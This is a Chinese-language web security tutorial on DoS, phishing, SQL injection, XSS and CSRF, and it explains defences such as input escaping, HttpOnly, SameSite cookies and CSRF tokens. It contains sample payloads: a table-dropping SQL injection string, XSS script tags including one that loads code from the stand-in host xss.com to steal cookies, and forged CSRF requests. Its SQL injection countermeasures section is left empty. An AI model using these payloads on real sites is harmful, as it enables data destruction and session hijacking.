按照攻擊頻率占比排序:
1.跨站腳本XSS攻擊
2.SQL注入
3.DOS攻擊
4.跨站偽造CSRF
5.釣魚網(wǎng)站
DOS攻擊
名為:Denial-of-service attack
原理:攻擊者會(huì)發(fā)送大量的請(qǐng)求,或者模擬大量合法用戶的訪問,占用服務(wù)器資源直至耗盡,導(dǎo)致真正有需求的用戶無法訪問此網(wǎng)站。
比如18年,阮一峰的網(wǎng)站被DDOS攻擊。
釣魚網(wǎng)站
用戶通過搜索引擎或者跳轉(zhuǎn)鏈接進(jìn)入仿冒的網(wǎng)站(UI、域名和正版網(wǎng)站很相似),用戶在仿冒網(wǎng)站中輸入了用戶名和密碼,導(dǎo)致賬戶信息泄漏。
SQL注入
SQL注入是一種代碼注入的技術(shù),攻擊者可以將惡意SQL語句插入到輸入字段中執(zhí)行。
場(chǎng)景舉例:
有這樣一個(gè)功能:網(wǎng)站前端有一個(gè)查詢輸入框,當(dāng)輸入用戶的姓名時(shí),查詢并展示擁有該姓名的所有用戶。當(dāng)后端接收到查詢參數(shù)戶,做sql語句的拼接,然后執(zhí)行sql,返回查詢結(jié)果。
let username = req.body.username
let sql = "select * from users where name ='+ username +'";
exec(sql)
當(dāng)用戶輸入的查詢參數(shù)如果是這樣的字符時(shí):
a';drop TABLE users;select * from userinfo where 't' ='t
則在服務(wù)器查詢時(shí)相當(dāng)于執(zhí)行了:
let sql = "select * from users where name = 'a';drop TABLE users;select * from userinfo where 't' ='t'";
這樣的結(jié)果會(huì)導(dǎo)致 一次查詢就能刪除用戶庫(kù),當(dāng)然也能做其他任何數(shù)據(jù)庫(kù)的操作。
應(yīng)對(duì)措施:
XSS(跨站腳本攻擊)
Cross-site scripting??s寫成CSS與層疊樣式表縮寫的CSS容易混淆,故改稱XSS。
由于網(wǎng)站存在漏洞,使得攻擊者可以在網(wǎng)站輸入惡意代碼,并讓惡意代碼在其他用戶瀏覽器運(yùn)行,竊取用戶信息。
非持久性攻擊(反射性攻擊)
反射性XSS,也就是被動(dòng)的非持久性XSS。
誘騙用戶點(diǎn)擊URL帶攻擊代碼的鏈接,服務(wù)器解析后響應(yīng),在返回的響應(yīng)內(nèi)容中隱藏和嵌入攻擊者的XSS代碼,被瀏覽器執(zhí)行,從而攻擊用戶。
場(chǎng)景舉例:
1.小明逛淘寶,在訪問淘寶網(wǎng)時(shí)會(huì)登錄,會(huì)留下瀏覽器和服務(wù)器分別保存認(rèn)證Cookie用戶識(shí)別小明的身份。
2.攻擊者發(fā)現(xiàn)了淘寶網(wǎng)的商品搜索欄有XSS漏洞
3.攻擊者構(gòu)造鏈接http://taobao.com/search?q=手機(jī)<script>惡意代碼</script>
并把鏈接發(fā)布到各個(gè)社交平臺(tái),當(dāng)作廣告并誘惑用戶去點(diǎn)擊。
4.當(dāng)小明看到廣告,點(diǎn)開鏈接,這時(shí),惡意代碼就存在在了小明的瀏覽器上,由于小明的淘寶處于登錄狀態(tài),所以惡意代碼可以獲取小明的Cookie,故也能看到小明的所以信息,并模擬小明的所有操作。
持久性攻擊
利用類似于留言板的功能將惡意代碼寫進(jìn)數(shù)據(jù)庫(kù),當(dāng)用戶下次訪問該網(wǎng)站時(shí),因?yàn)榫W(wǎng)站會(huì)從數(shù)據(jù)庫(kù)中獲取數(shù)據(jù)展示信息,所以用戶只要打開這個(gè)網(wǎng)站就會(huì)中招。
場(chǎng)景舉例:
1.攻擊者發(fā)現(xiàn)淘寶網(wǎng)的商品評(píng)論框有XSS漏洞2.攻擊者發(fā)了一條評(píng)論,內(nèi)容是:“ 該物品買到就是賺到!<script src="http://xss.com/xxx.js">
”。這個(gè)信息會(huì)展示到評(píng)論列表中,其中script標(biāo)簽會(huì)嵌入頁面中。3.其他用戶打開該頁面時(shí),閱讀評(píng)論的同時(shí)實(shí)際上惡意代碼已經(jīng)在偷偷執(zhí)行。攻擊者就會(huì)獲取用戶的Cookie劫持用戶信息。### 防范措施
1.對(duì)于富文本編輯器,過濾script等不安全標(biāo)簽
2.對(duì)用戶輸入的內(nèi)容進(jìn)行轉(zhuǎn)義,比如把<script></script>
轉(zhuǎn)義
3.代碼需要?jiǎng)討B(tài)展示內(nèi)容時(shí),用innerText來代替 innerHTML, vue使用v-text取代v-html。
4.服務(wù)端使用 Set Cookie時(shí),帶上HttpOnly字段,阻止Javascript獲取Cookie
5.對(duì)于上傳圖片的場(chǎng)景,禁止使用用戶填寫的圖片地址。特別是MarkDown編輯器。
CSRF攻擊
Cross-site request forgery,跨站點(diǎn)請(qǐng)求偽造。
攻擊者誘導(dǎo)受害者進(jìn)入第三方網(wǎng)站,在第三方網(wǎng)站中,向被攻擊的網(wǎng)站發(fā)送跨站請(qǐng)求。利用受害者在被攻擊網(wǎng)站已經(jīng)獲取的注冊(cè)憑證,繞過后臺(tái)的用戶驗(yàn)證,以達(dá)到冒充用戶對(duì)被攻擊的網(wǎng)站執(zhí)行某項(xiàng)操作的目的。
場(chǎng)景舉例:
1.受害者登錄了淘寶網(wǎng),并保留了登錄憑證(Cookie)
2.攻擊者引誘受害者去訪問第三方網(wǎng)站 b.com
3.b.com 會(huì)向淘寶網(wǎng)發(fā)送一個(gè)請(qǐng)求,瀏覽器會(huì)默認(rèn)帶上受害者登錄淘寶時(shí)的Cooike
4.這時(shí)淘寶網(wǎng)接收到請(qǐng)求后,對(duì)請(qǐng)求進(jìn)行驗(yàn)證,并確認(rèn)是受害者的憑證,誤以為是受害者自己發(fā)送的情求。
5.這時(shí)攻擊者就在受害者不知情的情況下,冒充受害者,讓淘寶網(wǎng)執(zhí)行了自己定義的一些操作。
攻擊類型
GET類型的CSRF:
一個(gè)常見的場(chǎng)景匿名點(diǎn)贊,服務(wù)端會(huì)根據(jù)匿名訪問者的IP來區(qū)別用戶。攻擊者把這個(gè)點(diǎn)贊接口集成到自己網(wǎng)站的圖片里,任何人訪問攻擊者的網(wǎng)站都相當(dāng)于給攻擊者做了嫁衣幫忙店了一次贊。
<img src="http://zan.example/thumbup?amount=1&for=hacker">
POST類型的CSRF:
有些服務(wù)器的接口是使用 POST 方法的,所以黑客需要在他的站點(diǎn)上偽造 POST 請(qǐng)求,當(dāng)用戶打開黑客的站點(diǎn)時(shí),是自動(dòng)提交 POST 請(qǐng)求
<form id= 'hacker-form' action="https://bank.example/withdraw" method=POST>
<input type="hidden" name="userll" value="hacker" />
<input type="hidden" name="numberll" value="100" />
</form>
在上段代碼中,我們可以看到攻擊者在它的頁面上構(gòu)建了一個(gè)隱藏的表單,該表單內(nèi)容就是一個(gè)某網(wǎng)站的轉(zhuǎn)賬接口,當(dāng)用戶打開該站點(diǎn)之后,這個(gè)表單就會(huì)被自動(dòng)執(zhí)行提交;當(dāng)表單被提交之后,服務(wù)器會(huì)執(zhí)行轉(zhuǎn)賬操作。因此使用構(gòu)建自動(dòng)提交表單的這種返回就,可以自動(dòng)實(shí)現(xiàn)跨站點(diǎn)POST數(shù)據(jù)提交
鏈接類型的CSRF:
這種需要用戶自己動(dòng)手點(diǎn)擊鏈接才會(huì)觸發(fā)。這種類型通常會(huì)在各個(gè)社交平臺(tái)發(fā)布的圖片中嵌入惡意鏈接,或者以廣告的形式來誘導(dǎo)用戶去點(diǎn)擊。
<a href="http://test.com/csrf/withdwaw.php?amount=100&for=hacker" target="_blank">重磅消息??!<a/>
由于之前用戶登錄了信任的網(wǎng)站A,并且保存了登錄狀態(tài)。這時(shí)只要用戶主動(dòng)訪問了上面的這個(gè)PHP頁面,則表示攻擊成功。
防護(hù)措施
由于CSRF與XSS不同,CSRF攻擊不會(huì)往頁面注入惡意腳本,因此攻擊者是無法通過CSRF攻擊來獲取用戶頁面數(shù)據(jù)的;主要是找到服務(wù)器的漏洞,所以對(duì)CSRF來說攻擊可以從提升服務(wù)器安全性的方面來防護(hù)。
1. 利用好Cookie的SameSite屬性
因?yàn)楣粽邥?huì)利用用戶登錄狀態(tài)來發(fā)起CSRF攻擊,而Cookie正式瀏覽器和服務(wù)器之間維護(hù)登錄狀態(tài)的一個(gè)關(guān)鍵數(shù)據(jù),因此要阻止CSRF攻擊,需要在Cookie上設(shè)置一些東西。
而CSRF攻擊通常是第三方站點(diǎn)發(fā)起的,因此可以利用Cookie 中的 SameSite 屬性來阻止CSRF攻擊
2. 在Cookie里寫入csrftoken的值
<form action="https://time.geekbang.org/sendcoin" method="POST">
<input type="hidden" csrftoken="afe3f94cnisar">
<input type="text" name="username" value="">
<input type="password" name="password" value="">
</form>
當(dāng)用戶提交表單或者發(fā)送Ajax情求時(shí),在情求參數(shù)或者請(qǐng)求頭帶上之前埋入的csrftoken。請(qǐng)求到服務(wù)器后服務(wù)器會(huì)從用戶的請(qǐng)求參數(shù)里拿出token和請(qǐng)求自帶的cookie里的token做對(duì)比,如果都存在且一致,則請(qǐng)求通過。
因?yàn)檫@個(gè)token是埋在該網(wǎng)站的,攻擊者從第三方網(wǎng)站偽造請(qǐng)求時(shí)是得不到這個(gè)token所以無法在請(qǐng)求參數(shù)中帶上token,請(qǐng)求就會(huì)失敗。
該文章在 2023/10/30 10:01:41 編輯過